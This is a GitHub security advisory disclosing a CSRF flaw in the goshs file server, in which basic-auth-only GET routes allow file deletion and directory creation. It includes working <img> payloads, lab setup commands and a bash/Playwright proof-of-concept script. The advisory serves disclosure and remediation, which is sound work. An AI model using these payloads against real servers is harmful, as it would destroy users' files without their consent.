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goshs has CSRF in state-changing GET routes enables authenticated file deletion and directory creation

Moderate severity GitHub Reviewed Published Apr 13, 2026 in goshs-labs/goshs • Updated Apr 27, 2026

Package

gomod github.com/patrickhener/goshs/v2 (Go)

Affected versions

>= 2.0.0-beta.4, <= 2.0.0-beta.5

Patched versions

2.0.0-beta.6

Description

Summary

goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as ?delete and ?mkdir because goshs relies on HTTP basic auth alone and performs no CSRF, Origin, or Referer validation for those routes. I reproduced this on v2.0.0-beta.5.

Details

The vulnerable request handling is reachable through normal GET requests:

  • httpserver/handler.go:118-123 dispatches ?mkdir directly to handleMkdir()
  • httpserver/handler.go:180-186 dispatches ?delete directly to deleteFile()

Authentication is enforced only by HTTP basic auth:

  • httpserver/middleware.go:20-87 accepts any request that presents valid cached or replayed basic-auth credentials

The resulting state changes hit filesystem mutation sinks:

  • httpserver/handler.go:683-718 calls os.RemoveAll() in deleteFile()
  • httpserver/handler.go:961-1000 calls os.MkdirAll() in handleMkdir()

Because browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed:

  • <img src="http://127.0.0.1:18095/victim.txt?delete">
  • <img src="http://127.0.0.1:18095/csrfmade?mkdir">

If the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem.

PoC

Manual verification commands used:

Terminal 1

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site
mkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site
printf 'delete me\n' > /tmp/goshs_csrf_root/victim.txt

cat > /tmp/goshs_csrf_site/delete.html <<'HTML'
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:18095/victim.txt?delete">
  </body>
</html>
HTML

cat > /tmp/goshs_csrf_site/mkdir.html <<'HTML'
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:18095/csrfmade?mkdir">
  </body>
</html>
HTML

/tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b 'u:p'

Terminal 2

python3 -m http.server 18889 --directory /tmp/goshs_csrf_site

Victim actions:

  1. Open http://127.0.0.1:18095/ in a browser and authenticate with u:p.
  2. Visit http://127.0.0.1:18889/delete.html.
  3. Visit http://127.0.0.1:18889/mkdir.html.

Two terminal commands I ran during local validation:

test -e /tmp/goshs_csrf_root/victim.txt && echo EXISTS || echo DELETED
test -d /tmp/goshs_csrf_root/csrfmade && echo CREATED || echo MISSING

Expected result:

  • the first check prints DELETED
  • the second check prints CREATED

PoC Video 1:

https://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473

Single-script verification:

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3'

Observed script result:

  • Delete status: DELETED
  • mkdir status: CREATED
  • [RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET

PoC Video 2:

https://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede

gosh_poc3 script content:

#!/usr/bin/env bash
set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
PLAY_DIR='/tmp/codex-playwright'
BIN='/tmp/goshs_beta5_csrf'
PORT='18095'
ATTACKER_PORT='18889'
CHROME='/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'
WORKDIR="$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)"
ROOT="$WORKDIR/root"
SITE="$WORKDIR/site"
GOSHS_PID=""
ATTACKER_PID=""

cleanup() {
  if [[ -n "${ATTACKER_PID:-}" ]]; then
    kill "${ATTACKER_PID}" >/dev/null 2>&1 || true
  fi
  if [[ -n "${GOSHS_PID:-}" ]]; then
    kill "${GOSHS_PID}" >/dev/null 2>&1 || true
  fi
}
trap cleanup EXIT

mkdir -p "$ROOT" "$SITE"
printf 'delete me\n' > "$ROOT/victim.txt"

cat > "$SITE/delete.html" <<HTML
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:${PORT}/victim.txt?delete">
  </body>
</html>
HTML

cat > "$SITE/mkdir.html" <<HTML
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:${PORT}/csrfmade?mkdir">
  </body>
</html>
HTML

echo "[1/6] Building goshs beta.5"
(cd "$REPO" && go build -o "$BIN" ./)

echo "[2/6] Starting goshs with HTTP basic auth"
"$BIN" -d "$ROOT" -p "$PORT" -b 'u:p' >"$WORKDIR/goshs.log" 2>&1 &
GOSHS_PID=$!

for _ in $(seq 1 40); do
  if curl -s -u u:p "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then
    break
  fi
  sleep 0.25
done

echo "[3/6] Serving attacker pages"
python3 -m http.server "$ATTACKER_PORT" --directory "$SITE" >"$WORKDIR/attacker.log" 2>&1 &
ATTACKER_PID=$!

if [[ ! -d "$PLAY_DIR/node_modules/playwright-core" ]]; then
  mkdir -p "$PLAY_DIR"
  (cd "$PLAY_DIR" && npm install --no-save playwright-core >/dev/null)
fi

if [[ ! -x "$CHROME" ]]; then
  echo "[ERROR] Chrome not found at $CHROME" >&2
  exit 1
fi

echo "[4/6] Visiting attacker pages from an authenticated browser"
node - <<'NODE'
const { chromium } = require('/tmp/codex-playwright/node_modules/playwright-core');

(async () => {
  const browser = await chromium.launch({
    headless: true,
    executablePath: '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome',
  });
  const context = await browser.newContext({
    httpCredentials: { username: 'u', password: 'p' },
  });
  const page = await context.newPage();
  await page.goto('http://127.0.0.1:18095/', { waitUntil: 'domcontentloaded' });
  await page.goto('http://127.0.0.1:18889/delete.html', { waitUntil: 'domcontentloaded' });
  await page.waitForTimeout(1200);
  await page.goto('http://127.0.0.1:18889/mkdir.html', { waitUntil: 'domcontentloaded' });
  await page.waitForTimeout(1200);
  await browser.close();
})();
NODE

echo "[5/6] Verifying impact"
DELETE_STATUS="MISSING"
MKDIR_STATUS="MISSING"
if [[ ! -e "$ROOT/victim.txt" ]]; then
  DELETE_STATUS="DELETED"
fi
if [[ -d "$ROOT/csrfmade" ]]; then
  MKDIR_STATUS="CREATED"
fi

echo "[6/6] Results"
echo "Delete status: $DELETE_STATUS"
echo "mkdir status: $MKDIR_STATUS"

if [[ "$DELETE_STATUS" == "DELETED" && "$MKDIR_STATUS" == "CREATED" ]]; then
  echo '[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET'
else
  echo '[RESULT] NOT REPRODUCED'
  exit 1
fi

Impact

This issue lets an external attacker abuse an authenticated victim's browser to perform filesystem mutations on the goshs server. In the demonstrated case, the attacker deletes an existing file and creates a new directory without the victim intentionally performing either action. Any deployment that relies on HTTP basic auth for web access is exposed to cross-site state changes when a user visits attacker-controlled content while authenticated.

Remediation

Suggested fixes:

  1. Move all state-changing functionality such as delete and mkdir off GET routes and require non-idempotent methods such as POST or DELETE.
  2. Add CSRF protections for authenticated browser actions, including per-request CSRF tokens plus strict Origin and Referer validation.
  3. Treat any rendered HTML content as untrusted and isolate it from issuing authenticated same-origin requests.

References

@patrickhener patrickhener published to goshs-labs/goshs Apr 13, 2026
Published to the GitHub Advisory Database Apr 14, 2026
Reviewed Apr 14, 2026
Published by the National Vulnerability Database Apr 21, 2026
Last updated Apr 27, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(7th percentile)

Weaknesses

Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. Learn more on MITRE.

CVE ID

CVE-2026-40883

GHSA ID

GHSA-jrq5-hg6x-j6g3

Source code

Credits

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